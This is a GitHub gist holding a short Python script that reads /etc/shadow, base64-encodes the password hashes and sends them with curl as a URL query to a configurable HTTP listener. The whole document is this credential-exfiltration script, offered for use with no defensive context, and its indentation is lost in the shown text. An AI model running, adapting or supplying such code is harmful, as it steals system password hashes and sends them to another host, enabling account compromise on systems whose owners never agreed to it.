Skip to content

Instantly share code, notes, and snippets.

@hddananjaya
Created May 19, 2019 11:09
Show Gist options
  • Save hddananjaya/8ff66827ecbcdae8d6653b5bc706f12e to your computer and use it in GitHub Desktop.
Save hddananjaya/8ff66827ecbcdae8d6653b5bc706f12e to your computer and use it in GitHub Desktop.
quick script to read a file and transfer content using curl
# -------------------------------------------------------------
# quick script to read a file and transfer content using curl
# by @_hddananjaya
# -------------------------------------------------------------
import base64
import os
HTTPD = "127.0.0.1:8080"
def curl(msg):
os.system("curl http://{}/?={}".format(HTTPD,msg))
try:
file = open("/etc/shadow", "r")
except Exception as e:
# send err and exit
err = base64.b64encode(str(e))
curl(err)
exit()
file_content = file.read()
content_b64 = base64.b64encode(file_content)
file.close()
curl(content_b64)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment